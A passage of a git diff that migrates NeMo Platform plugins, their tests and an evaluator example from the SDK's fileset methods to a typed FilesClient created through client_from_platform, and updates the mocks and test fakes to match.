nemo_platform_ext.cli.app import app +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from ..utils import assert_exit_code from .conftest import NmpCliRunner @@ -16,7 +19,8 @@ @pytest.fixture def test_fileset(sdk: NeMoPlatform, random_workspace: str) -> dict: """Create a test fileset.""" - fileset = sdk.files.filesets.create(workspace=random_workspace, name="test-fileset") + files = client_from_platform(sdk, FilesClient) + fileset = files.create_fileset(body=CreateFilesetRequest(name="test-fileset"), workspace=random_workspace).data() return {"workspace": random_workspace, "name": fileset.name} @@ -138,7 +142,7 @@ def test_upload_to_nonexistent_fileset_fails( ) assert_exit_code(result, 1) - assert "Not found" in result.stderr + assert "not found" in result.stderr.lower() @pytest.mark.parametrize( ("remote_path", "expected_suffix"), @@ -196,10 +200,8 @@ def test_upload_without_fileset_auto_creates( fileset_name = match.group(1) # Verify fileset exists - fileset = runner.client.files.filesets.retrieve( - name=fileset_name, - workspace=random_workspace, - ) + files = client_from_platform(runner.client, FilesClient) + fileset = files.get_fileset(name=fileset_name, workspace=random_workspace).data() assert fileset.name == fileset_name # Verify file was uploaded @@ -222,7 +224,10 @@ def fileset_with_nested_files(sdk: NeMoPlatform, random_workspace: str, tmp_path file2.txt file3.txt """ - fileset = sdk.files.filesets.create(workspace=random_workspace, name="download-test-fileset") + files = client_from_platform(sdk, FilesClient) + fileset = files.create_fileset( + body=CreateFilesetRequest(name="download-test-fileset"), workspace=random_workspace + ).data() # Create nested directory structure locally dir_a = tmp_path / "a" diff --git a/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py b/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py index 35db29f0d0..40601a42e4 100644 --- a/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py +++ b/packages/nemo_platform_plugin/src/nemo_platform_plugin/jobs/file_manager.py @@ -13,6 +13,9 @@ import fsspec.asyn from nemo_platform import AsyncNeMoPlatform, NeMoPlatform from nemo_platform.filesets import FilesetFileSystem, build_fileset_ref, parse_fileset_ref +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nemo_platform_plugin.jobs.schemas import FileStorageType logger = logging.getLogger(__name__) @@ -139,7 +142,11 @@ class BaseFilesetFileManager: _fs: FilesetFileSystem = field(init=False) def __post_init__(self): - self._fs = FilesetFileSystem(sdk=self.sdk) + if isinstance(self.sdk, AsyncNeMoPlatform): + files_client = client_from_platform(self.sdk, AsyncFilesClient) + else: + files_client = client_from_platform(self.sdk, FilesClient) + self._fs = FilesetFileSystem(client=files_client) def url(self, remote_path: str | None = None) -> str: """Return fileset reference for the given path.""" @@ -163,7 +170,14 @@ async def _validate_storage(self) -> None: except FileNotFoundError: if self.ensure_fileset_exists: logger.info(f"Creating new fileset: [{self.fileset_name}] in workspace [{self.workspace}]") - await self._fs._sdk.files.filesets.create(name=self.fileset_name, workspace=self.workspace) + if isinstance(self.sdk, AsyncNeMoPlatform): + files = client_from_platform(self.sdk, AsyncFilesClient) + await files.create_fileset( + body=CreateFilesetRequest(name=self.fileset_name), workspace=self.workspace + ) + else: + files = client_from_platform(self.sdk, FilesClient) + files.create_fileset(body=CreateFilesetRequest(name=self.fileset_name), workspace=self.workspace) else: raise FileStorageDoesNotExist( f"Fileset [{self.fileset_name}] in workspace [{self.workspace}] does not exist." diff --git a/packages/nemo_platform_plugin/src/nemo_platform_plugin/scheduler.py b/packages/nemo_platform_plugin/src/nemo_platform_plugin/scheduler.py index 7fe9c62006..c326d767c9 100644 --- a/packages/nemo_platform_plugin/src/nemo_platform_plugin/scheduler.py +++ b/packages/nemo_platform_plugin/src/nemo_platform_plugin/scheduler.py @@ -103,9 +103,9 @@ def run_local( workspace: Workspace scope for the local context. sdk: Optional :class:`~nemo_platform.NeMoPlatform` handle. Bound to an ``sdk`` kwarg on ``run`` if the signature - declares one. Jobs navigate the SDK tree themselves - (``sdk.files.filesets.create(...)``) — typed per-service - resources land in a follow-up alongside ``NemoSDK``. + declares one. Jobs obtain typed service clients via + ``client_from_platform(sdk, FilesClient)`` for + per-service operations. async_sdk: Optional :class:`~nemo_platform.AsyncNeMoPlatform` handle, bound the same way when an ``async_sdk`` kwarg is declared. Sync ``run`` cannot consume this directly diff --git a/packages/nmp_common/tests/jobs/conftest.py b/packages/nmp_common/tests/jobs/conftest.py index a3f6822bc6..04ca531141 100644 --- a/packages/nmp_common/tests/jobs/conftest.py +++ b/packages/nmp_common/tests/jobs/conftest.py @@ -63,8 +63,6 @@ def mock_fileset_fs(): fs._put_file = AsyncMock() fs._get = AsyncMock() fs._get_file = AsyncMock() - fs._sdk = MagicMock() - fs._sdk.files.filesets.create = AsyncMock() # Provide the fsspec global event loop for sync-to-async bridging fs.loop = fsspec.asyn.get_loop() return fs @@ -84,9 +82,6 @@ def mock_sdk(): sdk._custom_headers = None sdk._client = MagicMock() sdk.files = MagicMock() - sdk.files.filesets = MagicMock() - sdk.files.filesets.create = MagicMock() - sdk.files.filesets.retrieve = MagicMock() sdk.files.upload_content = MagicMock() # Mock list to return ListFilesResponse with empty data by default @@ -105,9 +100,12 @@ def fileset_manager(mock_sdk, mock_fileset_fs) -> FilesetFileManager: """Create FilesetFileManager with mocked FilesetFileSystem. The FilesetFileManager creates FilesetFileSystem in __post_init__, so we must - patch it to inject our mock. + patch both client_from_platform and FilesetFileSystem to inject our mock. """ - with mock.patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem") as mock_fs_class: + with ( + mock.patch("nemo_platform_plugin.jobs.file_manager.client_from_platform"), + mock.patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem") as mock_fs_class, + ): mock_fs_class.return_value = mock_fileset_fs return FilesetFileManager( workspace=DEFAULT_WORKSPACE, diff --git a/packages/nmp_common/tests/jobs/test_file_manager.py b/packages/nmp_common/tests/jobs/test_file_manager.py index 1ec3eb93c1..41bf815fd1 100644 --- a/packages/nmp_common/tests/jobs/test_file_manager.py +++ b/packages/nmp_common/tests/jobs/test_file_manager.py @@ -102,7 +102,10 @@ def test_no_matches(self): def test_fileset_url(): """Test URL generation for fileset storage.""" - with patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem"): + with ( + patch("nemo_platform_plugin.jobs.file_manager.client_from_platform"), + patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem"), + ): mgr = FilesetFileManager( workspace="my-workspace", fileset_name="my-fileset", @@ -114,7 +117,10 @@ def test_fileset_url(): def test_fileset_storage_type(): """Test storage type returns FILESET.""" - with patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem"): + with ( + patch("nemo_platform_plugin.jobs.file_manager.client_from_platform"), + patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem"), + ): mgr = FilesetFileManager( workspace="my-workspace", fileset_name="my-fileset", @@ -129,12 +135,14 @@ def test_fileset_validate_storage_exists(fileset_manager, mock_fileset_fs): mock_fileset_fs._info.assert_called() -def test_fileset_validate_storage_creates(fileset_manager, mock_fileset_fs, mock_sdk): +@patch("nemo_platform_plugin.jobs.file_manager.client_from_platform") +def test_fileset_validate_storage_creates(mock_cfp, fileset_manager, mock_fileset_fs, mock_sdk): """Test validate_storage creates fileset when missing.""" + mock_fc = MagicMock() + mock_cfp.return_value = mock_fc mock_fileset_fs._info.side_effect = FileNotFoundError("not found") fileset_manager.validate_storage() - # The async version uses _fs._sdk.files.filesets.create - mock_fileset_fs._sdk.files.filesets.create.assert_called_once() + mock_fc.create_fileset.assert_called_once() def test_fileset_upload_file(tmp_path, fileset_manager, mock_fileset_fs): @@ -261,7 +269,10 @@ async def test_fileset_upload_directory_with_ignore_patterns(tmp_path, mock_sdk, (subdir / "nested.txt").write_text("keep nested") (subdir / "nested.pyc").write_text("skip nested") - with mock.patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem") as mock_fs_class: + with ( + mock.patch("nemo_platform_plugin.jobs.file_manager.client_from_platform"), + mock.patch("nemo_platform_plugin.jobs.file_manager.FilesetFileSystem") as mock_fs_class, + ): mock_fs_class.return_value = mock_fileset_fs async_manager = AsyncFilesetFileManager( workspace=DEFAULT_WORKSPACE, diff --git a/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py b/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py index 9a8066bdb2..96d5bfe235 100644 --- a/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py +++ b/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py @@ -11,6 +11,10 @@ from nemo_platform import AsyncNeMoPlatform from nemo_platform._exceptions import NotFoundError, PermissionDeniedError from nemo_platform.types.models import ModelEntity +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError +from nemo_platform_plugin.files.client import AsyncFilesClient from nmp.common.entities.utils import parse_entity_ref from nmp.customization_common.schemas.file_io import FileSetRef @@ -24,11 +28,12 @@ async def check_dataset_access(sdk: AsyncNeMoPlatform, dataset_uri: str, default """ ref = FileSetRef.model_validate(dataset_uri) workspace = ref.workspace or default_workspace + files = client_from_platform(sdk, AsyncFilesClient) try: - await sdk.files.filesets.retrieve(workspace=workspace, name=ref.name) - except PermissionDeniedError: + await files.get_fileset(workspace=workspace, name=ref.name) + except FilesPermissionDeniedError: raise PermissionError(f"Access denied to dataset fileset '{workspace}/{ref.name}'") from None - except NotFoundError: + except FilesNotFoundError: raise ValueError( f"Dataset fileset '{ref.name}' not found in workspace '{workspace}'. Verify the dataset exists." ) from None diff --git a/plugins/nemo-data-designer/src/nemo_data_designer_plugin/testing/utils.py b/plugins/nemo-data-designer/src/nemo_data_designer_plugin/testing/utils.py index 7315380a95..8ccf60597d 100644 --- a/plugins/nemo-data-designer/src/nemo_data_designer_plugin/testing/utils.py +++ b/plugins/nemo-data-designer/src/nemo_data_designer_plugin/testing/utils.py @@ -29,7 +29,10 @@ from nemo_data_designer_plugin.sdk.resources import DataDesignerResource from nemo_data_designer_plugin.service import DataDesignerService from nemo_platform import AsyncNeMoPlatform, NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.commands import add_function_commands, add_job_commands +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nemo_platform_plugin.job_context import JobContext, StoragePaths from nemo_platform_plugin.job_results import PlatformJobResults from nemo_platform_plugin.jobs.api_factory import PlatformJobSpec @@ -176,8 +179,9 @@ def setup_mock_secret(client_context: ClientContext) -> Generator[None]: @contextmanager def setup_mock_file(client_context: ClientContext) -> Generator[None]: - client_context.sdk.files.filesets.create( - name=FILESET_NAME, + files = client_from_platform(client_context.sdk, FilesClient) + files.create_fileset( + body=CreateFilesetRequest(name=FILESET_NAME), workspace=client_context.sdk.workspace or WORKSPACE_NAME, ) with tempfile.NamedTemporaryFile(suffix=".parquet") as tmpfile: @@ -213,7 +217,8 @@ def setup_mock_nemotron_personas_data( def _create_nemotron_personas_fileset(sdk: NeMoPlatform, persona_data: pd.DataFrame) -> None: fileset_name = get_resource_name_for_locale("en_US") - sdk.files.filesets.create(name=fileset_name, workspace="system") + files = client_from_platform(sdk, FilesClient) + files.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace="system") with tempfile.NamedTemporaryFile(suffix=".parquet") as tmpfile: persona_data.to_parquet(tmpfile.name, index=False) sdk.files.upload( diff --git a/plugins/nemo-data-designer/tests/integration/test_personas_cli.py b/plugins/nemo-data-designer/tests/integration/test_personas_cli.py index c388996bbd..d084581e86 100644 --- a/plugins/nemo-data-designer/tests/integration/test_personas_cli.py +++ b/plugins/nemo-data-designer/tests/integration/test_personas_cli.py @@ -9,6 +9,8 @@ from data_designer_nemo.nemotron_personas import WORKSPACE, get_resource_name_for_locale from nemo_data_designer_plugin.cli import personas as personas_module from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.storage_config import NGCStorageConfig pytestmark = pytest.mark.integration @@ -75,10 +77,11 @@ def test_make_fileset_creates_requested_locale_with_existing_secret(cli_sdk: NeM ) assert result.exit_code == 0, result.output - filesets = cli_sdk.files.filesets.list(workspace=WORKSPACE) - assert [fileset.name for fileset in filesets.items()] == [get_resource_name_for_locale("en_US")] + files = client_from_platform(cli_sdk, FilesClient) + filesets_page = files.list_filesets(workspace=WORKSPACE) + assert [fileset.name for fileset in filesets_page.data()] == [get_resource_name_for_locale("en_US")] - fileset = cli_sdk.files.filesets.retrieve(name=get_resource_name_for_locale("en_US"), workspace=WORKSPACE) + fileset = files.get_fileset(name=get_resource_name_for_locale("en_US"), workspace=WORKSPACE).data() assert isinstance(fileset.storage, NGCStorageConfig) assert fileset.storage.api_key_secret.root == "system/ngc-api-key" @@ -105,7 +108,8 @@ def test_make_fileset_creates_secret_from_env_then_fileset( secret = cli_sdk.secrets.access("my-ngc-key", workspace="system") assert secret.value == "nvapi-from-env" - fileset = cli_sdk.files.filesets.retrieve(name=get_resource_name_for_locale("en_US"), workspace=WORKSPACE) + files = client_from_platform(cli_sdk, FilesClient) + fileset = files.get_fileset(name=get_resource_name_for_locale("en_US"), workspace=WORKSPACE).data() assert isinstance(fileset.storage, NGCStorageConfig) assert fileset.storage.api_key_secret.root == "system/my-ngc-key" @@ -183,8 +187,8 @@ def test_make_fileset_create_secret_conflict_does_not_create_fileset( assert result.exit_code == 1 assert "already exists" in result.output - filesets = cli_sdk.files.filesets.list(workspace=WORKSPACE) - assert list(filesets.items()) == [] + files = client_from_platform(cli_sdk, FilesClient) + assert list(files.list_filesets(workspace=WORKSPACE).items()) == [] def test_make_fileset_create_secret_internal_error_surfaces_clearly( @@ -212,8 +216,8 @@ def _boom(*args: object, **kwargs: object) -> None: assert result.exit_code == 1 assert "Failed to create secret" in result.output assert "secrets backend exploded" in result.output - filesets = cli_sdk.files.filesets.list(workspace=WORKSPACE) - assert list(filesets.items()) == [] + files = client_from_platform(cli_sdk, FilesClient) + assert list(files.list_filesets(workspace=WORKSPACE).items()) == [] def test_make_fileset_is_idempotent_when_fileset_already_exists(cli_sdk: NeMoPlatform) -> None: @@ -247,17 +251,19 @@ def test_make_fileset_is_idempotent_when_fileset_already_exists(cli_sdk: NeMoPla assert second.exit_code == 0, second.output assert "already exists" in second.output - filesets = cli_sdk.files.filesets.list(workspace=WORKSPACE) - assert [fileset.name for fileset in filesets.items()] == [get_resource_name_for_locale("en_US")] + files = client_from_platform(cli_sdk, FilesClient) + assert [fileset.name for fileset in files.list_filesets(workspace=WORKSPACE).items()] == [ + get_resource_name_for_locale("en_US") + ] def test_make_fileset_create_fileset_internal_error_surfaces_clearly(cli_sdk: NeMoPlatform) -> None: error_message = "kaboom-fileset-error" - def _boom(*args: object, **kwargs: object) -> None: - raise RuntimeError(error_message) + mock_files = Mock() + mock_files.create_fileset.side_effect = RuntimeError(error_message) - with patch.object(cli_sdk.files.filesets, "create", side_effect=_boom): + with patch("data_designer_nemo.nemotron_personas.client_from_platform", return_value=mock_files): result = u.invoke_cli( [ "personas", @@ -272,5 +278,5 @@ def _boom(*args: object, **kwargs: object) -> None: assert result.exit_code == 1 assert "Failed to create fileset" in result.output assert error_message in result.output - filesets = cli_sdk.files.filesets.list(workspace=WORKSPACE) - assert list(filesets.items()) == [] + files = client_from_platform(cli_sdk, FilesClient) + assert list(files.list_filesets(workspace=WORKSPACE).items()) == [] diff --git a/plugins/nemo-evaluator/examples/plugin_examples.py b/plugins/nemo-evaluator/examples/plugin_examples.py index f5430757db..adb6e067b5 100644 --- a/plugins/nemo-evaluator/examples/plugin_examples.py +++ b/plugins/nemo-evaluator/examples/plugin_examples.py @@ -40,7 +40,11 @@ ) from nemo_evaluator_sdk.values.results import EvaluationResult from nemo_platform import APIError, AsyncNeMoPlatform, ConflictError, NeMoPlatform, NotFoundError -from nemo_platform.types.files import HuggingfaceStorageConfigParam +from nemo_platform_plugin.client import errors as files_errors +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient +from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig +from nemo_platform_plugin.files.types import CreateFilesetRequest if TYPE_CHECKING: import numpy as np @@ -177,28 +181,33 @@ def write_local_helpsteer2_dataset(dataset_path: Path, *, row_count: int) -> Non async def ensure_example_fileset(client: AsyncNeMoPlatform) -> FilesetRef: """Create or reuse the HelpSteer2 fileset, then verify the selected split downloads.""" workspace = client.workspace or DEFAULT_WORKSPACE + files = client_from_platform(client, AsyncFilesClient) try: - fileset = await client.files.filesets.create( - workspace=workspace, - name=DATASET_NAME, - description="NVIDIA HelpSteer2 dataset for quality evaluation", - storage=HuggingfaceStorageConfigParam( - type="huggingface", - repo_id="nvidia/HelpSteer2", - repo_type="dataset", - ), - ) + fileset = ( + await files.create_fileset( + workspace=workspace, + body=CreateFilesetRequest( + name=DATASET_NAME, + description="NVIDIA HelpSteer2 dataset for quality evaluation", + storage=HuggingfaceStorageConfig( + repo_id="nvidia/HelpSteer2", + repo_type="dataset", + ), + ), + ) + ).data() print(f"Registered HelpSteer2 fileset: {fileset}") - except ConflictError: - fileset = await client.files.filesets.retrieve(name=DATASET_NAME, workspace=workspace) + except files_errors.ConflictError: + fileset = (await files.get_fileset(name=DATASET_NAME, workspace=workspace)).data() print(f"{fileset.workspace}/{fileset.name} dataset already registered") - downloaded = await client.files.download_content( - remote_path=HELPSTEER2_REMOTE_PATH, - fileset=fileset.name, + response = await files.download_file( + path=HELPSTEER2_REMOTE_PATH, + name=fileset.name, workspace=fileset.workspace, ) + downloaded = await response.read() rows = _load_helpsteer2_rows(downloaded, limit=2) _validate_helpsteer2_rows(rows) print(f"Verified HelpSteer2 split: {fileset.workspace}/{fileset.name}#{HELPSTEER2_REMOTE_PATH}") @@ -208,28 +217,30 @@ async def ensure_example_fileset(client: AsyncNeMoPlatform) -> FilesetRef: def ensure_example_fileset_sync(client: NeMoPlatform) -> FilesetRef: """Create or reuse the HelpSteer2 fileset with a sync client, then verify the selected split downloads.""" workspace = client.workspace or DEFAULT_WORKSPACE + files = client_from_platform(client, FilesClient) try: - fileset = client.files.filesets.create( + fileset = files.create_fileset( workspace=workspace, - name=DATASET_NAME, - description="NVIDIA HelpSteer2 dataset for quality evaluation", - storage=HuggingfaceStorageConfigParam( - type="huggingface", - repo_id="nvidia/HelpSteer2", - repo_type="dataset", + body=CreateFilesetRequest( + name=DATASET_NAME, + description="NVIDIA HelpSteer2 dataset for quality evaluation", + storage=HuggingfaceStorageConfig( + repo_id="nvidia/HelpSteer2", + repo_type="dataset", + ), ), - ) + ).data() print(f"Registered HelpSteer2 fileset: {fileset}") - except ConflictError: - fileset = client.files.filesets.retrieve(name=DATASET_NAME, workspace=workspace) + except files_errors.ConflictError: + fileset = files.get_fileset(name=DATASET_NAME, workspace=workspace).data() print(f"{fileset.workspace}/{fileset.name} dataset already registered") - downloaded = client.files.download_content( - remote_path=HELPSTEER2_REMOTE_PATH, - fileset=fileset.name, + downloaded = files.download_file( + path=HELPSTEER2_REMOTE_PATH, + name=fileset.name, workspace=fileset.workspace, - ) + ).read() rows = _load_helpsteer2_rows(downloaded, limit=2) _validate_helpsteer2_rows(rows) print(f"Verified HelpSteer2 split: {fileset.workspace}/{fileset.name}#{HELPSTEER2_REMOTE_PATH}") diff --git a/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py b/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py index acc908f345..7137a0c7e3 100644 --- a/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py +++ b/plugins/nemo-evaluator/src/nemo_evaluator/filesets.py @@ -11,6 +11,8 @@ import fsspec.asyn from nemo_platform import AsyncNeMoPlatform, NeMoPlatform from nemo_platform.filesets import FilesetFileSystem +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient from pydantic import Field, RootModel _GLOB_CHARS = {"*", "?", "["} @@ -128,7 +130,8 @@ async def _download_fileset_ref( destination: str, recursive: bool = True, ) -> Path: - fs = FilesetFileSystem(sdk=sdk) + files_client = client_from_platform(sdk, AsyncFilesClient) + fs = FilesetFileSystem(client=files_client) ref = dataset.root if "#" in ref: @@ -177,8 +180,9 @@ def _download_fileset_ref_sync( destination: str, recursive: bool = True, ) -> Path: - fs = FilesetFileSystem(sdk=sdk) - result = fsspec.asyn.sync(fs.loop, _download_fileset_ref, fs._sdk, dataset, destination, recursive) + files_client = client_from_platform(sdk, FilesClient) + fs = FilesetFileSystem(client=files_client) + result = fsspec.asyn.sync(fs.loop, _download_fileset_ref, sdk, dataset, destination, recursive) if result is None: raise RuntimeError(f"FilesetRef download returned no path for dataset {dataset.root!r}") return result diff --git a/plugins/nemo-evaluator/src/nemo_evaluator/metric_storage.py b/plugins/nemo-evaluator/src/nemo_evaluator/metric_storage.py index 5cbebd5432..2e1f29340e 100644 --- a/plugins/nemo-evaluator/src/nemo_evaluator/metric_storage.py +++ b/plugins/nemo-evaluator/src/nemo_evaluator/metric_storage.py @@ -22,6 +22,9 @@ import nemo_evaluator.shared.metric_bundles.inline # noqa: F401 from nemo_evaluator.shared.metric_bundles.bundles import MetricBundle from nemo_platform import AsyncNeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import AsyncFilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from pydantic import ValidationError #: Filename of the serialized bundle stored within each metric's fileset. @@ -71,18 +74,22 @@ async def store_bundle(sdk: AsyncNeMoPlatform, workspace: str, name: str, bundle """ fileset = _new_fileset_name() body = bundle.model_dump_json().encode("utf-8") + files = client_from_platform(sdk, AsyncFilesClient) try: - await sdk.files.filesets.create( - name=fileset, + description = f"Stored metric bundle for {workspace}/{name}." + await files.create_fileset( + body=CreateFilesetRequest( + name=fileset, + description=description[:255], + ), workspace=workspace, - description=f"Stored metric bundle for {workspace}/{name}.", ) except Exception as exc: raise MetricBundleStorageError(f"failed to create fileset for metric bundle {workspace}/{name}") from exc try: - await sdk.files._upload_file( + await files.upload_file( path=BUNDLE_FILENAME, - body=body, + content=body, workspace=workspace, name=fileset, ) @@ -90,7 +97,7 @@ async def store_bundle(sdk: AsyncNeMoPlatform, workspace: str, name: str, bundle # Roll back the just-created (now-empty) fileset so a failed upload # doesn't leak it, then surface a typed storage error. try: - await sdk.files.filesets.delete(name=fileset, workspace=workspace) + await files.delete_fileset(name=fileset, workspace=workspace) except Exception: logger.warning( "Failed to clean up fileset after a failed metric bundle upload; storage may be leaked", @@ -110,7 +117,8 @@ async def load_bundle(sdk: AsyncNeMoPlatform, bundle_ref: str, *, expected_diges verified against it to detect drift or corruption. """ workspace, fileset, path = parse_bundle_ref(bundle_ref) - response = await sdk.files._download_file(path, workspace=workspace, name=fileset) + files = client_from_platform(sdk, AsyncFilesClient) + response = await files.download_file(path=path, workspace=workspace, name=fileset) data = await response.read() try: bundle = MetricBundle.model_validate_json(data) @@ -128,4 +136,5 @@ async def load_bundle(sdk: AsyncNeMoPlatform, bundle_ref: str, *, expected_diges async def delete_bundle_by_ref(sdk: AsyncNeMoPlatform, bundle_ref: str) -> None: """Delete the specific fileset a bundle reference points at.""" workspace, fileset, _ = parse_bundle_ref(bundle_ref) - await sdk.files.filesets.delete(name=fileset, workspace=workspace) + files = client_from_platform(sdk, AsyncFilesClient) + await files.delete_fileset(name=fileset, workspace=workspace) diff --git a/plugins/nemo-evaluator/tests/api/service/test_metric_service.py b/plugins/nemo-evaluator/tests/api/service/test_metric_service.py index 0537c5b53d..2c9b19b444 100644 --- a/plugins/nemo-evaluator/tests/api/service/test_metric_service.py +++ b/plugins/nemo-evaluator/tests/api/service/test_metric_service.py @@ -4,6 +4,7 @@ from __future__ import annotations from datetime import datetime, timezone +from unittest.mock import AsyncMock, patch import pytest from nemo_evaluator.api.schemas import MetricInline @@ -23,11 +24,6 @@ # ---- in-memory fakes ------------------------------------------------------- -class _FakeFile: - def __init__(self, file_ref: str) -> None: - self.file_ref = file_ref - - class _FakeResponse: def __init__(self, data: bytes) -> None: self._data = data @@ -36,38 +32,28 @@ async def read(self) -> bytes: return self._data -class _FakeFilesets: - def __init__(self, store: dict[tuple[str, str], dict[str, bytes]]) -> None: - self._store = store +class _FakeAsyncFilesClient: + """In-memory async files client that mimics AsyncFilesClient for tests.""" - async def create(self, *, name, workspace, description=None, exist_ok=False): - self._store.setdefault((workspace, name), {}) - return object() - - async def delete(self, name, *, workspace=None): - self._store.pop((workspace, name), None) - return object() + def __init__(self) -> None: + self._store: dict[tuple[str, str], dict[str, bytes]] = {} + async def create_fileset(self, *, body, workspace=None, exist_ok=False): + self._store.setdefault((workspace, body.name), {}) + return AsyncMock(data=lambda: object()) -class _FakeFiles: - def __init__(self, store: dict[tuple[str, str], dict[str, bytes]]) -> None: - self._store = store - self.filesets = _FakeFilesets(store) + async def delete_fileset(self, *, name, workspace=None): + self._store.pop((workspace, name), None) + return AsyncMock(data=lambda: object()) - async def _upload_file(self, *, path, body, workspace, name): - self._store.setdefault((workspace, name), {})[path] = bytes(body) - return _FakeFile(f"{workspace}/{name}#{path}") + async def upload_file(self, *, path, content, workspace, name): + self._store.setdefault((workspace, name), {})[path] = bytes(content) + return AsyncMock(data=lambda: object()) - async def _download_file(self, path, *, workspace, name): + async def download_file(self, *, path, workspace, name): return _FakeResponse(self._store[(workspace, name)][path]) -class _FakeSDK: - def __init__(self) -> None: - self._store: dict[tuple[str, str], dict[str, bytes]] = {} - self.files = _FakeFiles(self._store) - - class _FakeEntityClient: def __init__(self) -> None: self.entities: dict[tuple[str, str], MetricBundleEntity] = {} @@ -107,8 +93,16 @@ async def list(self, entity_cls, *, workspace, filter_operation=None, sort=None, @pytest.fixture -def service() -> MetricService: - return MetricService(_FakeEntityClient(), _FakeSDK()) +def fake_files(): + return _FakeAsyncFilesClient() + + +@pytest.fixture +def service(fake_files): + svc = MetricService(_FakeEntityClient(), object()) + svc._fake_files = fake_files + with patch("nemo_evaluator.metric_storage.client_from_platform", return_value=fake_files): + yield svc def _bundle(metric=None) -> MetricInline: @@ -126,7 +120,7 @@ def _fileset_of(service: MetricService, bundle_ref: str) -> tuple[str, str]: # ---- tests ----------------------------------------------------------------- -async def test_create_stores_bundle_and_indexes_entity(service: MetricService) -> None: +async def test_create_stores_bundle_and_indexes_entity(service: MetricService, fake_files) -> None: bundle = _bundle() created = await service.create_metric("exact", bundle, workspace="default") @@ -135,33 +129,30 @@ async def test_create_stores_bundle_and_indexes_entity(service: MetricService) - assert created.payload_kind == "cloudpickle" assert created.payload_digest == bundle.payload.digest assert created.bundle_ref.startswith("default/metric-bundle.") - # Description/labels are sourced from the bundle's metadata. assert created.description == bundle.metadata.description assert created.labels == bundle.metadata.labels - # Bundle bytes live in Files, not in the entity index. - assert _fileset_of(service, created.bundle_ref) in service.sdk._store + assert _fileset_of(service, created.bundle_ref) in fake_files._store -async def test_create_rejects_duplicate_without_clobbering_existing(service: MetricService) -> None: +async def test_create_rejects_duplicate_without_clobbering_existing(service: MetricService, fake_files) -> None: first = await service.create_metric("exact", _bundle(), workspace="default") with pytest.raises(ValueError, match="already exists"): await service.create_metric("exact", _bundle(), workspace="default") - # The original metric's bundle must survive the rejected create's rollback. - assert _fileset_of(service, first.bundle_ref) in service.sdk._store + assert _fileset_of(service, first.bundle_ref) in fake_files._store async def test_get_returns_none_when_missing(service: MetricService) -> None: assert await service.get_metric("default", "nope") is None -async def test_delete_removes_entity_and_bundle(service: MetricService) -> None: +async def test_delete_removes_entity_and_bundle(service: MetricService, fake_files) -> None: created = await service.create_metric("m", _bundle(), workspace="default") assert await service.delete_metric("default", "m") is True assert await service.get_metric("default", "m") is None - assert _fileset_of(service, created.bundle_ref) not in service.sdk._store + assert _fileset_of(service, created.bundle_ref) not in fake_files._store async def test_delete_returns_false_when_missing(service: MetricService) -> None: @@ -174,7 +165,6 @@ async def test_delete_handles_concurrent_delete_race(service: MetricService) -> async def _already_deleted(*_args, **_kwargs): raise EntityNotFoundError("deleted concurrently") - # Simulate another request removing the entity between get and delete. service.entity_client.delete = _already_deleted assert await service.delete_metric("default", "m") is False @@ -193,7 +183,7 @@ async def test_list_returns_workspace_metrics(service: MetricService) -> None: # ---- derived metrics ------------------------------------------------------- -async def test_store_derived_metric_names_by_digest_and_marks_derived(service: MetricService) -> None: +async def test_store_derived_metric_names_by_digest_and_marks_derived(service: MetricService, fake_files) -> None: from nemo_evaluator.api.service.metric_service import _MAX_ENTITY_NAME_LENGTH ref = await service.store_derived_metric(_bundle(), workspace="default") @@ -201,38 +191,33 @@ async def test_store_derived_metric_names_by_digest_and_marks_derived(service: M workspace, _, name = ref.root.partition("/") assert workspace == "default" assert name.startswith("derived.") - # The entity store caps names at 63 chars; the derived name must fit (it 422s otherwise). assert len(name) <= _MAX_ENTITY_NAME_LENGTH - # Stored entity is flagged derived and Files-backed like any metric. entity = service.entity_client.entities[("default", name)] assert entity.derived is True - assert _fileset_of(service, entity.bundle_ref) in service.sdk._store + assert _fileset_of(service, entity.bundle_ref) in fake_files._store async def test_store_derived_metric_distinguishes_full_contract(service: MetricService) -> None: - # Two metrics with an identical payload but a differing bundle-level field (here: metadata) must - # NOT collapse — addressing on payload.digest alone would have silently rebound one onto the other. bundle = _bundle() variant = bundle.model_copy(update={"metadata": bundle.metadata.model_copy(update={"description": "different"})}) - assert bundle.payload.digest == variant.payload.digest # same executable payload... + assert bundle.payload.digest == 